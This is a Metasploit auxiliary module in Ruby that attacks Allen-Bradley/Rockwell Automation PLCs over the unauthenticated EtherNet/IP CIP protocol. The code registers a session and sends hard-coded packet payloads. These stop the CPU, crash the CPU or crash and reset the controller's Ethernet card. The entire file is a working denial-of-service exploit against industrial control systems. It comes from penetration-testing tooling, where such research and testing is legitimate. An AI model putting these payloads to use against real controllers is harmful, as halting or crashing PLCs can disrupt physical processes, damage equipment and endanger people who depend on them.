145 lines
4.6 KiB
Ruby
145 lines
4.6 KiB
Ruby
|
##
|
||
|
# This file is part of the Metasploit Framework and may be subject to
|
||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||
|
# web site for more information on licensing and terms of use.
|
||
|
# http://metasploit.com/
|
||
|
##
|
||
|
|
||
|
require 'msf/core'
|
||
|
|
||
|
class Metasploit3 < Msf::Auxiliary
|
||
|
|
||
|
include Msf::Exploit::Remote::Tcp
|
||
|
include Rex::Socket::Tcp
|
||
|
|
||
|
def initialize(info={})
|
||
|
super(update_info(info,
|
||
|
'Name' => 'Allen-Bradley/Rockwell Automation EtherNet/IP CIP Commands',
|
||
|
'Description' => %q{
|
||
|
The EtnerNet/IP CIP protocol allows a number of unauthenticated commands to a PLC which
|
||
|
implements the protocol. This module implements the CPU STOP command, as well as
|
||
|
the ability to crash the Ethernet card in an affected device.
|
||
|
|
||
|
This module is based on the original 'ethernetip-multi.rb' Basecamp module
|
||
|
from DigitalBond.
|
||
|
},
|
||
|
'Author' =>
|
||
|
[
|
||
|
'Ruben Santamarta <ruben[at]reversemode.com>',
|
||
|
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
|
||
|
'todb' # Metasploit fixups
|
||
|
],
|
||
|
'License' => MSF_LICENSE,
|
||
|
'References' =>
|
||
|
[
|
||
|
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
|
||
|
],
|
||
|
'DisclosureDate' => 'Jan 19 2012'))
|
||
|
|
||
|
register_options(
|
||
|
[
|
||
|
Opt::RPORT(44818),
|
||
|
# Note that OptEnum is case sensitive
|
||
|
OptEnum.new("ATTACK", [true, "The attack to use.", "STOPCPU",
|
||
|
[
|
||
|
"STOPCPU",
|
||
|
"CRASHCPU",
|
||
|
"CRASHETHER",
|
||
|
"RESETETHER"
|
||
|
]
|
||
|
])
|
||
|
], self.class
|
||
|
)
|
||
|
end
|
||
|
|
||
|
def run
|
||
|
attack = datastore["ATTACK"]
|
||
|
print_status "#{rhost}:#{rport} - CIP - Running #{attack} attack."
|
||
|
sid = req_session
|
||
|
if sid
|
||
|
forge_packet(sid, payload(attack))
|
||
|
print_status "#{rhost}:#{rport} - CIP - #{attack} attack complete."
|
||
|
end
|
||
|
end
|
||
|
|
||
|
def forge_packet(sessionid, payload)
|
||
|
packet = ""
|
||
|
packet += "\x6f\x00" # command: Send request/reply data
|
||
|
packet += [payload.size - 0x10].pack("v") # encap length (2 bytes)
|
||
|
packet += [sessionid].pack("N") # session identifier (4 bytes)
|
||
|
packet += payload #payload part
|
||
|
begin
|
||
|
sock.put(packet)
|
||
|
rescue ::Interrupt
|
||
|
print_error("#{rhost}:#{rport} - CIP - Interrupt during payload")
|
||
|
raise $!
|
||
|
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
|
||
|
print_error("#{rhost}:#{rport} - CIP - Network error during payload")
|
||
|
return nil
|
||
|
end
|
||
|
end
|
||
|
|
||
|
def req_session
|
||
|
begin
|
||
|
connect
|
||
|
packet = ""
|
||
|
packet += "\x65\x00" # ENCAP_CMD_REGISTERSESSION (2 bytes)
|
||
|
packet += "\x04\x00" # encaph_length (2 bytes)
|
||
|
packet += "\x00\x00\x00\x00" # session identifier (4 bytes)
|
||
|
packet += "\x00\x00\x00\x00" # status code (4 bytes)
|
||
|
packet += "\x00\x00\x00\x00\x00\x00\x00\x00" # context information (8 bytes)
|
||
|
packet += "\x00\x00\x00\x00" # options flags (4 bytes)
|
||
|
packet += "\x01\x00" # proto (2 bytes)
|
||
|
packet += "\x00\x00" # flags (2 bytes)
|
||
|
sock.put(packet)
|
||
|
response = sock.get_once
|
||
|
if response
|
||
|
session_id = response[4..8].unpack("N")[0] rescue nil# bare minimum of parsing done
|
||
|
if session_id
|
||
|
print_status("#{rhost}:#{rport} - CIP - Got session id: 0x"+session_id.to_s(16))
|
||
|
else
|
||
|
print_error("#{rhost}:#{rport} - CIP - Got invalid session id, aborting.")
|
||
|
return nil
|
||
|
end
|
||
|
else
|
||
|
raise ::Rex::ConnectionTimeout
|
||
|
end
|
||
|
rescue ::Interrupt
|
||
|
print_error("#{rhost}:#{rport} - CIP - Interrupt during session negotation")
|
||
|
raise $!
|
||
|
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused => e
|
||
|
print_error("#{rhost}:#{rport} - CIP - Network error during session negotiation: #{e}")
|
||
|
return nil
|
||
|
end
|
||
|
return session_id
|
||
|
end
|
||
|
|
||
|
def cleanup
|
||
|
disconnect rescue nil
|
||
|
end
|
||
|
|
||
|
def payload(attack)
|
||
|
case attack
|
||
|
when "STOPCPU"
|
||
|
payload = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + #encapsulation -[payload.size-0x10]-
|
||
|
"\x00\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x1a\x00" + #packet1
|
||
|
"\x52\x02\x20\x06\x24\x01\x03\xf0\x0c\x00\x07\x02\x20\x64\x24\x01" + #packet2
|
||
|
"\xDE\xAD\xBE\xEF\xCA\xFE\x01\x00\x01\x00" #packet3
|
||
|
when "CRASHCPU"
|
||
|
payload = "\x00\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x1a\x00" +
|
||
|
"\x52\x02\x20\x06\x24\x01\x03\xf0\x0c\x00\x0a\x02\x20\x02\x24\x01" +
|
||
|
"\xf4\xf0\x09\x09\x88\x04\x01\x00\x01\x00"
|
||
|
when "CRASHETHER"
|
||
|
payload = "\x00\x00\x00\x00\x20\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x0c\x00" +
|
||
|
"\x0e\x03\x20\xf5\x24\x01\x10\x43\x24\x01\x10\x43"
|
||
|
when "RESETETHER"
|
||
|
payload = "\x00\x00\x00\x00\x00\x04\x02\x00\x00\x00\x00\x00\xb2\x00\x08\x00" +
|
||
|
"\x05\x03\x20\x01\x24\x01\x30\x03"
|
||
|
else
|
||
|
print_error("#{rhost}:#{rport} - CIP - Invalid attack option.")
|
||
|
return nil
|
||
|
end
|
||
|
end
|
||
|
|
||
|
end
|